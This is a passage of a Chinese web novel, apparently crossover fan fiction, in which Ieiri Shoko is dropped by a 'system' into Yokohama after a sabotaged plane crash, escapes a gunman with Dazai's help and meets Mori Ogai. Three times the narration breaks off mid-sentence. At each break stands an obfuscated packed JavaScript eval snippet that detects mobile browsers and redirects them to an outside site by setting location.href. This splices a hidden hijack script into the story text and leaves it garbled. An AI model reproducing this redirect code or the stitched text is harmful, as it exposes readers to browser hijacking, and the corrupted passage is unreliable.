《硝子小姐弃医从文了》 1. 硝子·系统·横滨 横滨,巨大的港口处。 来往的车辆不时汇聚在这里,无数的灯光映照着,将原本昏暗的地方照亮,分明是深夜,这个作为与外界往来的港口却亮的仿佛白昼,整个港口拥挤不堪。 红□□光不断闪烁,不只是警车,还有无数的救护车停在这个巨大的港口,救援人员来来往往,还有不少围观的群众在警戒线外挤作一团。 一名被从附近紧急召集来的救援人员,在忙碌间低声问身边的同事: “这是什么情况?” 被问的那人脚步不停,目光紧紧盯着距离他们将近两三百米地方的海面上。 那里是一架巨大的飞机,只不过现在只剩下一片残骸了。 这是一架由美国洛杉矶开往日本东京的客机,似乎是出了某种事故,在降落时被迫落到了横滨港。 “是机械老化引发的碎片掉落,意外击穿了液压管路,导致液压系统全部失效。”另一位年轻警官听到后回答道,“还好最近两天停在这里的船舶和货轮不多……” 他话没说完,身后不远处就传来一声怒吼:“你们几个还愣着干什么,赶紧去救人啊!” 巨大的机体残骸周围是数不清的救援船只,在巨物的衬托下,周围的人仿佛蚂蚁一般细小。 港口的警笛声和救护车的鸣笛声交错响起,一批又一批的人被救上岸来,停在警戒线外的闪光灯和围观人群,将这个港口重重包围起来。 进行救援的工作人员神情肃穆,他们顾不得那些几乎快怼到脸上的话筒,努力掩盖着严肃表情下的紧张不安,而被救上来的人则无一不是面色惨白,还有些低低的哽咽声不断传来,被层层裹上毛毯的身躯在夜幕下止不住地颤抖。 来往的救援人员和被救人员很多,在数不清的镜头下,几乎所有的人都是这样一种状态,只除了一个—— 家入硝子独自一人坐在远离灯光的地方,用身上披着的毛毯一边擦着头发上的水珠,一边四处张望。 她的脸上确实看不到丝毫害怕和不安,唯一有的,只是眼下难以掩盖的深色疲惫。 硝子低声开口,像是在自言自语: “……搞得是不是有点太大了?” 可奇怪的是,四周明明除她之外再没有任何人,硝子身边却突然出现一道无机质的声音: “这也是没办法的事,我能在那种时候连上系统,控制住把它顺利降到横滨港口的海面上,已经是不幸中的万幸了——这架飞机本该在出现意外事故后直接坠毁的。” 家入硝子叹了口气,意外事故吗…… 她望着不远处仍在哭泣着幸存者,还有那些正在努力稳定伤者情绪的救护人员,起身将手中的毛毯放下,朝着另一边走去。 在她的左手边,是正在进行幸存人员统计的地方,两名警官一个负责询问,一个负责记录,在人群里高声喊着什么。 但硝子并没有去那里,反而是从暗处绕过那个地方,用几乎不为人觉察的动作,混迹在一群医护者和伤者中间,从一处隐蔽的地方走出了这个包围圈—— 所幸她身上还穿着那件一贯穿着的白大褂,要做到这点相当容易。 硝子悄悄离开了那片混乱的地方。 站在港口不远处,家入硝子回头看着那个由人和灯光组成的巨大堡垒,抬手拉上口罩,露出的棕色眼瞳平静无波,只是将眼前这陌生的一切忠实地倒映在其中。 棕色的长发呈半干状披散在身后,身上的衣服也已经全部湿透,长长的白大褂胶水似的粘在身上,让人感觉极度不舒服。 家入硝子一边穿行在由集装箱堆成的迷宫中,一边嫌恶地揪住衣服提了两下,放下后再次叹了口气。 她伸手摸了摸口袋,不出所料的空空如也。 “照这个情况,行李估计也是很难再拿回来了吧。” 硝子咂了一下舌,有些烦躁,她并没有回头去看身后依旧喧闹的港口,只是自言自语般的话语,似乎又被那道无机质的声音听到了。 “为什么?” 除了困惑,它的声音里还带有一丝理所当然: “如果是您自己的东西,那就应该可以拿回来吧——只要证明身份什么的就行,按理来说很容易的——当然,是按照你们人类的规则来说。” 硝子耸肩,对此不置可否。 她不指望这个像是人工智能一样的家伙能理解自己,就像只是把它自我介绍时说的“大文壕系统”简化成“系统”也能让它感到烦闷一样—— 一板一眼的,好像什么都应该按照流程走似的。 “看来你的主人在制作你时,没有教会你不能只从表面看事物。”硝子说。 系统沉默,似乎对此并不否认。 硝子问:“行李中有什么重要的东西吗?” 系统扫描了一下,小声回答:“没有——哦,我是说,最重要的身份证件应该都在您自己的身上。” 它的声音低而缓慢,似乎是有些闷闷不乐。 硝子再次摸了摸口袋,哦了一声,没有再多说什么。 这里看上去是横滨港口的其中一处堆场,随处可见的大型集装箱散落在附近,让这里的布局好似一个复杂的迷宫。 硝子努力辨认了一下方向,片刻后无果,果断放弃后询问系统。 “接下来往哪走?” “您要去哪儿?” “能打到车的地方。” 系统没有说话,只是在之后的一秒内,一个奇怪的小型金属玩偶缓缓从硝子肩膀旁边出现,然后慢慢升了上去,它用那双绿豆大的黑色眼睛扫视了四周一圈,然后才再次回到硝子肩头: “前面右转过两个集装箱左转然后一直走到底,上台阶后继续直走。” 家入硝子没有什么迟疑,抬脚向系统所说的方向径直走去。 直到硝子彻底走出横滨这片巨大的港口之前,一人一统都没再说话。 宽大的马路边,硝子看着眼前川流不息的人群和陌生的街景,一直紧绷的神经稍稍放松下来。 她无意识地用拇指指甲抠着食指指腹,今天第三次叹了口气。 “有烟吗?” “我是系统,不抽烟。” 系统说。 硝子抬起手,在路边拦下一辆出租车。 “钱呢?” “我是系统,不是ATM。” 啧。 硝子站在出租车的后门前,抬手又不死心地摸了摸裤子口袋,空的比她现在的脸都干净。 这家伙,就不能多给她身上装点钱吗? 系统似乎也在硝子的提问中察觉到了什么不对。 “我在将您投放到这个世界时,不是已经给您安排好了相关身份和随身必要物品吗?” 家入硝子轻咳了一声,面色有些不自然。 系统说完,顺势就扫描了一下硝子目前的身体数据,结果令它不可置信。 系统的声音陡然变得尖细:“您的随身身份证件呢?怎么全都不见了!还有——我给您准备的钱包怎么也没了?!!” 这声音突然炸在硝子耳旁,差点没给她震聋,家入硝子皱着眉掏了掏耳朵。 “丢了。” 她说的简单,好像是饿了要吃、困了就睡一样自然。 也不知是数据混乱了,还是气的没话说,系统半天没有吱声。 “所以还能再想办法变出点钱吗?”硝子问。 在她的设想中,既然系统能轻松带她穿越到另一个世界,并且给她捏造一个虚假身份,那这点东西应该不在话下。 系统还是没说话。它挣扎了好一会儿是该继续生气,还是该和她讲道理,最后还是妥协了似的开口问她: “您打算去哪儿?” “回东京。”硝子说。 系统沉默良久。 “……不行。” 最后,出租车司机是在看精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266226|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神病一样看硝子的表情中离开的。 家入硝子看的出,如果不是自己身上这件白大褂和黑眼圈,估计过不了多久就会有警察找上来了—— 毕竟哪个人正常人会在半夜穿着一身湿哒哒的衣服,在拦下一辆出租车的情况下,还自言自语一分钟,最后还告诉司机自己不坐了的。 “唉……” 这是硝子今天晚上第四次叹气了。 没钱没身份,晚上住哪儿都是个问题,现在还是初春,身上湿透的衣服再被冷风一吹,只能用透心凉来形容,偏偏这个世界唯一一个和她有关的存在还这么冷漠。 硝子觉得自己整个人就是一个大写的“惨”字。 硝子看着眼前繁华的街道,随便找了个座椅坐下。 “……所以您为什么要把钱包丢掉?” 系统从硝子的肩膀上下来,小小一只蹲坐在椅子另一边。 硝子看着它奇特的造型,不由发起了呆。 这个系统是突然间找上她的,当时硝子正站在一处纯白站台旁,虽然眼前的一切还处在一个熟悉又陌生的感觉上,但硝子确信自己已经死了。 冥冥中,她似乎是在等着谁,只是好像最后都没能等到,唯一回应她的等待的,只有系统。 当时的系统只和她说了一句话。 “我们可以合作。” “宿主,我在和您说话,请不要发呆。” 硝子回过神,伸手捏了捏它的身体,金属的冰冷感从指尖传递过来,不知是有意还是无意,几处没有打磨好的棱角从身体几个部分凸出,使它有别于普通玩偶,充满了机械感。 系统的造型很奇特,一眼看上去像极了胖达君——说起来,那家伙也不知道怎么样了——只不过比起胖达来,系统体型要小上许多倍,而且还多出一个圆墩墩的长条尾巴,这使它看上去又和熊猫这种生物截然不同。 如果不开口说话,任谁都会觉得这家伙可爱的有点过分,只是一开口,那种无机质的冷感就破坏了这份可爱。 “请不要随意玩弄我的身体。” 系统绿豆大的眼睛盯着硝子,从她手中挣脱开来:“还有,请回答我的问题。” 这是硝子今天第五次叹气了。 她双手撑在身后,抬头仰望着这片不同世界中好像没什么不同的深色夜空,缓缓开口: “行吧,那我先来问你好了——我在这个世界的身份是什么?” 系统挣脱魔爪后重新坐好,两只短短的手臂放到腿上,一板一眼地回答: “当然是一名医生啦,怎么了,这和您前世的身份不是一模一样吗?还是我特意选的。” “我不是说这个,而是说真实的身份。”硝子说。 系统黑色小眼睛里装满了困惑,它看向家入硝子,理所当然地回答: “那当然是横滨港口黑手党现任首领的独女啊——请问这有什么问题吗?” 有什么问题? 那问题可大了去了。 家入硝子闭上眼,头疼似的用两指按压着太阳穴: “一个从未在人前露过面,没有彰显过丝毫存在感的黑手党首领独女,在被突然紧急召回的情况下,会有什么样的结果,你不知道吗?” 系统不是很能理解:“父亲生病了,需要女儿回来照看他,这有什么不对吗?” 哪里都不对。 硝子冷漠地想。 隐藏多年亟待公开的身份,病危的老首领,以及极有可能空缺出来的首领之位,这三点加起来,足以轻松搅乱横滨这片看似平静无波的水面,至于水底下究竟还藏有什么,谁也不能轻易得知。 至少硝子十分清楚,以她现在的这个身份,这次的“回归”,绝对不会像系统所说的那么简单。 硝子放下手,在系统的目光中缓缓说道: “你不会真的以为,我乘坐的这架飞机出事,只是一次‘年久失修’的巧合吧?” 2. 夜晚·暗杀·少年 夜渐渐深了,车辆行人逐渐减少,路边的店面也都关上了门,唯有几幢高大的写字楼里,仍亮着数不清几串的长短不一的灯带。 寒冷不断侵蚀着身体,将硝子身上仅存不多的温度带走。 家入硝子搓着手臂,不知道这个自称“大文壕”的系统到底是真傻还是装傻。 应该是真傻吧,她想,不然就没办法解释现在这个“随手给刚来到这个世界的她扔到一架即将出事的飞机上,还顺手安排了一个这么劲爆的身份”的局面。 其实硝子一般很难有什么事情想不通,她很能看得开—— 毕竟人活着,不就那么回事儿吗。 可系统这一连串的动作,竟让家入硝子一时间也想不明白:这家伙到底是想跟她合作呢,还是想把她再搞死一遍? “……” 在硝子长时间的沉默里,系统其实也在思考。 正如硝子所想,系统确实是不太懂她话里的含义的,它也是真的不懂人类社会的复杂性,因为它的创造者在创造它时,真的没有给它灌输过任何这类东西。 也因此,在它的世界中,一切东西非1即0,在遇到硝子之前,根本没有出现过摇摆不定或是表里不一的情况。 只是现在好像有哪里不太一样了。 系统试图厘清混乱的数据。 这是它从未有过的感觉,系统试图顺着硝子的话说下去,让自己数据库中半知半解的代码疑团得到解答: “宿主的意思,是有人故意制造了这场事故?” “嗯哼。你终于明白过来了。” “……” 系统这句话用的是肯定的语气,“有人不想让您回来。” 硝子点头,“显而易见。” 系统总算搞清楚了,所以之后那一系列不明所以的行为,其实只是在应对这场针对她的“谋杀”而已吧。 又学到了。 系统默默往自己的数据库里记上一笔,然后又开始继续思考。 “所以您丢掉钱包,也是为了迷惑对方,让对方觉得自己得逞了吗?” 在系统运算的逻辑中,那人既然是不想让宿主回来,必定会做好万全的准备,只是对方可能没想到,宿主会有自己这样一个队友的存在。 假如系统没有在最后关键时刻控制飞机,那么,对方一定已经得逞了—— 而且是连带着那一整架飞机里的所有人的性命在内。 如果它的运行逻辑没有出错,宿主这么做的目的,一定是让对方误以为她已经在事故中死去。 联想到宿主在获救上岸后的行动,系统更加确信了这一点: 混入救援人员之中,躲避幸存者登记和无数的镜头,一切的一切,都只是为了让“自己其实还幸存”这个痕迹尽量不引人瞩目。 想通了这些,系统顿时有了一种茅塞顿开的感觉。 这就是人类经常说的“爽”吗。 真的还挺爽的。 一想到那人费尽心机,却仍没能达到目的,而且自己遇到的居然还是这么一个聪明的宿主,系统就觉得自己的统生简直充满了光明。 看来它的任务一定可以顺利完成! 像是知道系统在想什么,硝子,望着头顶如同被墨水浸染了的夜空,慢悠悠地开了口: “哦,对了——” 系统甩着圆滚滚的长条尾巴,两只眼睛一闪一闪地看着自家宿主,像是在听最高级的代码一样认真。 “还有一件事忘了跟你说,为了防止产生误会,我得先提前跟你声明一下,我应该还没有答应……和你合作吧?” 这话分开来,每个字的代码系统都懂,可合到一起怎么感觉就变成了一串乱码? 系统想不明白,索性从数据库里检索之前的所有对话。 然后系统傻眼了,连硝子在它眼前不断晃手都没察觉。 它整只统呆若木鸡,仿佛石化了一般,尾巴直条条地垂在身后,僵硬的像是一座玩具雕像,直到硝子双手插兜,站起身走出去很远了,系统还依旧坐在这里一动不动。 天塌了、数据记录里,她真的没有明确答应! 完蛋,刚绑的聪明队友突然没了…… 系统眼前出现一条条鲜红的报错信息,几乎将它的数据库整个淹没。 等它好不容易从如山般的错误代码中爬出来时,才发现硝子已经走的几乎看不到人影了。 …… 横滨的夜晚很冷,像是又偷偷倒回到了冬天似的,白天太阳照射在地面上的那点温度,在这种深夜已不剩多少。 硝子正忧愁着要去哪儿熬过这一晚。 身上的衣服已经半干不干,如果就这么在外面硬抗一晚,估计不到天明,她就得感冒。 甩着小尾巴慌忙间赶过来的系统,正蹲在硝子因为走路而不断晃动的肩膀上,默默将自己一片一片的数据碎片拼凑起来。 硝子不死心地再次开口问:“真不能再给我变出点钱来?” 一分钱难倒英雄汉,硝子还从来没有过这么落魄的时候,虽说即使有钱没身份,也几乎去不了什么好地方,但好歹能找些遮风避雨的地方。 总不能让她去睡天桥吧? 虽然这个世界看起来似乎没有咒灵什么的,不至于外面躺一晚上人就没了,但硝子也不是很想成为天桥大军的一员。 而且,在刚刚她也试过了,身体里的咒力也同时消失了,反转术式无法使用。 这个世界似乎只是个普通无比的世界。 说不上失落,倒不如说也挺好的,终于可以向没日没夜的加班说再见了。 系统似乎很伤心,豆大的眼睛没了高光,气若游丝地问她:“有了钱您打算干嘛?” “回东京。”硝子说。 系统沉默。 硝子妥协,“好吧,我想找个地方摆烂。” 她话音刚落,系统无机质的声音就响起:“服务器未响应,请稍后再试。” 行吧。硝子叹了口气。 四周寂静得仿佛是在隔音罩中,家入硝子一个人走在夜风中,看着周围街道上明暗不一的灯光,低头向掌心哈气。 这地方真冷啊,冷得让她想起了那年的平安夜。 其实,硝子倒也不是真的非得去东京不可,自从知道这个世界没有咒力存在以后,她基本上就放弃了这个念头,只是心底里总还是感觉有一处空落落的。 大概是因为刚来到这个世界,所有的东西都看起来极度陌生,所以总想看到点什么熟悉的东西才行。 硝子猜。 但其实她自己心里也清楚,即使去了那里,想见的,估计也不可能再见到了。 家入硝子低头看着眼前空空如也、洁白干净的手心,片刻后又逐渐握紧,沉默在一人一统间蔓延,蓦地,一阵风吹在身上,硝子冷不丁打了个寒颤。 她抬起头来在周围漫无边际地扫视着,只是渐渐地,定格在了不远处的花坛边。 硝子的目光逐渐染上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266227|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹冰冷,夹杂着些微几不可察的厌烦。 没完没了。 “喂,系统,能把周围的地图调出来吗?” 系统还在低落中,它正在认真思考着寻找下一个宿主的可能性,冷不丁听到这句话,整只统茫然地抬起头,“地图……您迷路了吗?” 硝子皱眉。 系统看着眼前这人充满不耐和厌倦的眉眼,默默调出横滨地图,然后以全息形式从黑色眼睛里投射出来,他们当前的位置则以红色三角形标出,再没敢吱声。 硝子往前走的步伐几乎没有什么变化,只是在下个拐角处,她突然转身走进了一条小巷中。 这条巷子极窄,宽度只能容一人通过,月光也很难照进来。似乎是因为先前没有规划好而留下,里面堆满了各种杂乱的废弃物,整条巷道黑漆漆的,一眼看不见尽头。 硝子脚下不停,一边检视着地图,一边竖起耳朵听着身后的动静。 果然,不出她所料,没多大一会儿,就有一道脚步声出现在身后,这人似乎很谨慎,脚步几不可闻,如果不是硝子集中了注意力去听,怕是也要错过。 只是在她走过巷子尽头的拐角后,那脚步声便突然大了起来,似乎是已经确认猎物注意到了自己,也就不在乎会不会惊扰到她。 硝子的脚步逐渐加快,直到最后跑了起来,但身后的动静还是如影随形。 系统努力扒着硝子的衣服,硝子则透过系统身上金属的反射,看到了身后那个男人的身影。 黑西装,黑墨镜,硝子的视线从他手中的枪上一扫而过,心中大概有了决断,转身再次换了个巷道。 只是,这次的她没有之前那么幸运了。 眼前出现了一个人。 不,与其说是一个人,不如说是一个少年。 身上缠满了绷带的少年。 如果是在平时,硝子可能还会停下来问问他,是否遇到了什么事,可现在的情况不容许她浪费时间。 所幸少年身材纤细瘦小,家入硝子可以轻松从他身边穿过,在跑出几米后,硝子下意识回头,但就是这一眼,让她整个人继续向前跑的动作彻底停了下来。 她看到那个黑衣人朝少年举起了枪。 他疯了? 也许是没有意识到即将到来的危险,少年呆愣在原地根本没有闪避,硝子来不及多想,直接将少年整个扑倒在地上,在枪声响起后迅速起身,一脚踢在男人再次抬起枪口上。 手枪从男人手中脱落,掉在地上,硝子顺势让系统抓稳,两步蹬墙上去后靠着重力狠狠将他撞倒,要落向男人太阳穴的手肘却被防住。 这人很有经验。 硝子也不纠结,立刻换了姿势锁住男人的喉咙。 只是他们之间的力量有些悬殊,硝子压制的有些吃力。 不如说自从毕业后,她的体术训练就再也没能跟上。 现在做反省也有点晚了,硝子正想让那少年先跑,就发现身下男人的挣扎似乎小了些。硝子顺着男人的目光向前看去,就见那名绷带少年不知什么时候已经蹲在了那把手枪面前。 少年的黑发蓬松杂乱,发丝间若隐若现的白色绷带将右眼完全缠住,让人一时间看不清他的表情,空气一刹那寂静的可怕。 在硝子逐渐瞪大的瞳孔中,少年俯身捡起了枪,然后转身,用直勾勾的目光盯着他们,黝黑深邃的瞳孔充满了不属于这个年纪的平静。 他在两人的视线中,缓缓举起了拿着枪的右手。 3. 太宰·阴谋·工作 随着少年的动作,硝子的心几乎提到了嗓子眼。 然而最令她吃惊的,却是少年接下来的行动。 硝子几乎不敢相信自己眼前看到的这幅景象—— 只见那个缠满绷带的黑发少年举起手枪,竟然不是指向他们两人,反而在地上两人的目光中,缓缓将枪口对准了自己。 他知道自己在干什么吗? 他知道自己手里拿的是什么东西吗? 硝子几乎想起身冲过去把他手上的枪打掉,却因为身下压制着黑衣人而没能有所动作。 枪是被开过一次的,而且是一把自动式手枪,只要少年的手指轻轻扳动扳机,枪膛里冲出的子弹无疑会在最近处十分轻易地击穿他的脑袋。 硝子选择进入巷道,只是为了引出后面跟踪他的人,而不是再卷进更多的人。 僵持中,明月爬上高空,渐渐从云后露出一小片身影。 皎洁的月光洒在漆黑的巷道中,在少年身上镀上一层银白色的光晕。 在两人的目光中,少年端立着的身影在这一刻显得高高在上。 他身穿白衬黑裤,黑色大衣松散披在身上,蓬乱的黑发下,仅仅露出一只眼睛的漆黑瞳孔里,像是隐藏着世上所有的未知与黑暗。 在银白月光的照耀下,硝子这一刻感觉他像极了身披圣洁光芒的恶魔。 像是被什么蛊惑了一般,在场的人,谁也没有动,谁也没有说话。 直到少年的动作再次发生变化,硝子才惊觉,自己刚才竟然下意识屏住了呼吸。 缺氧导致的症状几乎立刻在硝子身上体现,她头晕目眩,几乎无法再压制身下的男人,可让她奇怪的是,男人在察觉到她的松懈后,居然仍一动不动地趴在地上,仰起头看着前面的少年,而且面露……惊恐? 家入硝子开始还有些困惑,可几乎又立刻意识到: 眼前这个黑衣男,认识少年,且惧怕着他。 硝子想到了一种可能,顿觉头痛欲裂。 这个世界是没有咒灵了,可取而代之的,这些人未免也太疯狂了吧——谁能告诉她,为什么一个半大的孩子,会和这样的地下组织扯上关系? 正如硝子所猜想的那样。 少年垂眼看着手中的枪,并没有扣动扳机,反而在男人慌乱的视线中,随手把枪扔到了他的面前,像是扔一件塑料玩具那么随意。 他垂眼看着趴地上、狼狈不堪的男人,脸上的表情隐藏在半明半暗之中,声音轻而冷:“……你在做什么?” 这声音冷不丁地响起,在空旷的巷道里产生了回音,来回缠绕着钻进男人的耳朵里,贴着他的耳膜,仿佛恶魔在耳边低语。 冷汗顺着脸颊流下,男人勉强开口,带着几分讨好的笑意:“太宰先生,我……我正在执行任务,是上头让我来保护小姐的,刚刚拔枪只是因为……呃,因为,把您看成了敌对势力的人。” 似乎是怕对方不相信,男人还在话尾强调了好几遍这是真的,不信可以去问他的顶头上司。 硝子看着这两人奇怪的相处模式,简直丈二摸不着头脑。 什么情况? 为什么这个小孩,看起来好像很牛很厉害的样子,这个世界的黑手党已经堕落到由小孩儿统治了吗? 如果现在有人告诉硝子,那个想要她命而对她所乘飞机动手脚的幕后黑手也是这么个小孩,硝子一定会想去撞墙的。 这笑话听起来也太黑暗太地狱了吧。 硝子半靠着墙,掩着嘴小声对肩上的系统说:“难怪你想跟我合作说要拯救世界,这种世界看起来确实挺没救的。” 和她们那个世界有一拼。 并不是这个意思的系统有口难言。 它豆大的眼睛映出少年纤细的身影,被尘封起来的黑暗往事渐渐浮出数据库。 系统努力把身体挤在硝子的脖颈处,像是恨不得离那少年远一点,再远一点。 硝子感觉到了系统的动作,但此时的她还没有想太多,只是听那两人继续说话。 “如果今晚来到这里的不是我,那么,你的欺骗有可能会成功。但是很可惜——” 被称为太宰先生的少年口吻轻松,轻飘飘地将这个男人的欺骗行为打上失败的印记,“如果我没有看错,你刚刚枪口指向的方向,并不是我,而是——她吧。” 少年缠满绷带的手腕抬起,又是轻飘飘的一指,食指的正前方,对着硝子所在的位置。 家入硝子愣住,下意识看向男人,却见男人的表情扭曲了一下,像是被逼到了绝境一般,猛地拾起地上的枪就对准了少年。 少年不闪不避,反而在他面前露出了从刚刚起到现在为止的第一个表情—— 名叫太宰的少年竟然笑了起来,那笑容似乎充满了期待和愉悦。 他好像是带着真心向男人发出了诚意的邀请,甚至对着他弯下了腰,得以让自己的脑袋离那把枪的枪口距离更近一些。 “来吧,如你所愿。” 男人的手指痉挛了一下,但是扳机没有被扣动。 被迫吃瓜的硝子看这眼前的这一幕,目瞪口呆。 系统发出一声幽幽的电子叹息。 回过神来的硝子又扭头不着痕迹地小声问它:“如果我没理解错的话,这小孩好像是跟我一边的?他现在这又是在干嘛?发疯?找死?” 系统又是幽幽一声叹息。 硝子这会儿从它的叹息里琢磨出了一点味道,她问系统:“你认识他?” 系统黑溜溜的眼睛反射着月光冰冷的色泽,慎之又慎地重重点了下头。 这么严肃的表情硝子还是第一次从系统脸上看到,她看看系统,又看看少年,又看看系统,不说话了。 男人最终没能扣下手枪的扳机,冰冷的金属从他手中滑落,重重摔落在地上,发出沉闷的响声,他的头也连带着一起垂下,再也没能像刚刚那样,看向眼前的少年。 “……” 一阵沉默之后,少年耸了耸肩,一副很可惜的样子。 他脸上的表情重新恢复到了最初见到时的那种平静,漆黑的眼眸再也没有去关注地上的男人,反而转向了仍坐在地上的硝子。 在看了她几秒种后,少年转身离开。 看着少年越走越远的漆黑背影,硝子只觉得脑子里一片木然,就像有人突然在她面前的黑板上写下了一道数学题让她答,而她拼尽全力也只能在答题区里写下一个解字一样。 “……现在怎么办?” 硝子沉默了好一会儿,还是努力思考起来: 她原本是想通过黑衣人找出他的背后指使者的,但是现在显然没有用了。 既然黑衣人是被派来保护她的,说明他所属的组织一定和她那个尚未谋面的“首领爹”有关,而这个少年想必也是一样。 他既然抬出了自己顶头上司,也就是说对方是能替他做下担保的,那么黑衣人除了被收买外,还有一种可能就是接到了命令。 只是,无论他的任务是否完成,在他遇到少年的那一刻,他都已经是一颗弃子了。 所以他才会放弃的那么快。 这让硝子的头更痛了。 这也就意味着,现在她所面临的情况就是,除了“飞机事故”那一拨人外,还有另外一拨人也同时盯上了她,甚至很有可能就是她那个尚未谋面的便宜爹的组织里的。 系统也沉默了。 不过只是短短几秒钟,它就开口对硝子说:“跟上去。” 至于这个跟,到底是跟谁,结果显而易见—— 那个看起来精神有点问题的名叫“太宰”的小鬼。 硝子问:“为什么?” 系统答:“比在外面安全。” 家入硝子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266228|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋正在全速运转。 就像她之前说的,她开始确实是不打算回去找她那个便宜老爹的,毕竟她也确实没有答应系统和它合作—— 社畜当了一辈子,好不容易能躺平了,结果却突然被拉到这么个莫名其妙的地方,还给她安了个自带敌对buff的身份,硝子没有直接掀桌子已经是看在它真心诚意的份上了。 只是眼下的情况,明显是形势比人强。 正如系统所说,暗处盯着她小命的人还不知道有多少,如果她一直被迫单打独斗,难保不会在什么地方中暗枪。 硝子不能再被动等人找上门了,要想活下去,她必须学会主动蛰伏出击。 家入硝子深深叹了口气,本来她确实是想摆烂的,随便混混日子算了,可总是被什么莫名其妙的人盯着然后压头上欺负,也实在让人烦躁难忍。 “看看你给我选的‘好身份’。” 系统无法反驳,只能缩成一团默默承受着宿主的怒火。 家入硝子站起身,几步跨过黑衣男人,快速走过黑衣少年走过的路。 少年的背影现在只剩下很小一段,硝子边追上去边问系统:“你不是说你是到这个世界来完成任务拯救世界的吗,和他又有什么关系?” 系统沉默了好一会儿,才回答她:“现在还不是时候。” 硝子明白了,这是有限制了,之前她问起系统为什么选她当宿主时,系统当时也是这么回答的。 她不再纠结,将问题暂时放到脑后。 …… 硝子被少年带到了一处隐藏在大楼中间的小巷里,在巷子深处有一扇小门,门旁的墙壁上,贴满了不入流的广告,隐约之间还夹杂着几张关于医治疑难杂症的宣传单。 少年打开那扇满是奇怪划痕的木门,带着硝子走进屋子深处的一间小房间里。 鼻尖充斥着消毒水和铁锈的味道,硝子看着一路上路过的那些简陋的医疗设备和各种刀具针管,跟着少年走进那个房间。 房间里的男人似乎是在等谁,听到门开的声音,坐在椅上的背影转过来。 昏暗的灯光中,男人梳到脑后的黑发杂乱不堪,眼下的黑眼圈重的像是连熬了好几个大夜,身上的白大褂在灯光下旧的发黄,脖子上的听诊器歪斜扭曲地挂在上面,随着男人的动作晃动了几下。 “啊,是太宰君啊。” 男人像是在头痛什么似的,皱着眉叹气: “现在找我是有什么事吗?事先声明,我现在很忙,首领的病情似乎又有加重的迹象,正是难办的时候,没空陪你玩‘自杀游戏’哦。” “说什么游戏啊,我可是很认真的。”太宰不满地说,但他很快转移了话题,“不过我今天来确实不是为了这件事。森先生,我知道你最近很忙,所以特意给你找了个帮手来,喏——” 他让出身,森鸥外这才仔细去看后进门的硝子。 “啊、恩、这个嘛——” 森鸥外有点难办,他显然也看见了硝子身上的衣服,以及眼下和他同样严重的黑眼圈,还有手指上经常执刀压出的凹槽和茧。 这一切都说明了她的身份——她也是名医生。 “话虽如此,也不能随便拉个人就来啊。”森鸥外带着几分歉意,对家入硝子点点头,“这孩子是不是给您添麻烦了,这个时间、真是抱歉——” “她没有正式工作哦,现在是无业游民,因为……” 太宰说着看向硝子,平静的目光扫视她的全身,然后对森鸥外说:“她刚被炒了鱿鱼。” 硝子感觉自己像是被待估价值的商品,来来回回被人打量着,眼前的男人似乎有点被说服了,他看向硝子的眼睛问:“那么,请问您的名字是……?” 家入硝子沉默了一会儿,在两人一统等待的目光中,沉着而缓慢地开口: “我的名字叫……五条悟。” 4. 休眠·夜谈·合作 十瓦的小灯泡放出柔白的灯光,将这个狭小拥挤的卧室照亮。 为了尽可能利用这几平米的空间,小小的卧室里只放了张必要的单人床,以及一张靠在床头的木质书桌,书桌上堆满了各种杂乱的书籍,上面还落着一层细细的灰尘和蛛网。 家入硝子此刻已经没有力气去收拾这间卧室里唯二的家具,她只大概把床铺收拾整理了一下,就整个人呈大字摔在不怎么柔软的床上。 这被褥的质量实在不怎么好,硝子的脸埋在里面只觉得皮肤被蹭的有些不适,但她没有多余的精力再去关注这些无关紧要的东西。 现在已经是凌晨三点。 距离硝子来到这个世界已经过去了整整五个小时,但她却觉得这五个小时的经历漫长的像是五年。 硝子翻了个身,让自己仰面躺在床上。 她盯着头顶的灯泡发起了呆。 硝子其实倒也没有在刻意想些什么,尤其经历了这五个小时的高强度工作,她的大脑基本已经宣布罢工,现在只是在杂乱无章地闪过一些无意义的碎片式画面。 黑衣人绝望而又挣扎的表情,飞机落在近海口的巨大残骸,少年映在月光下的冷漠和深沉,透过楼间缝隙落在巷道里的月光…… 思绪奇异地中断了一下,然后突然跳转到硝子还以为自己早就已经忘记了的画面上。 那是她学生时代除了学习室和医疗室外,最常呆的地方,也是她难得很熟悉的地方—— 脑海中浮现出的,是东京都立咒术高等学校的操场。 那里阳光明媚,春意铺洒在草地上,他们曾经无数次在那里进行着体术训练,虽然最后大部分时间都会演变成那两人之间的互相搏斗,她则在一旁偷着懒,一边敷衍地喊加油,一边给他们计着少年偶然的意气之赌,从而永无止境的无聊分数。 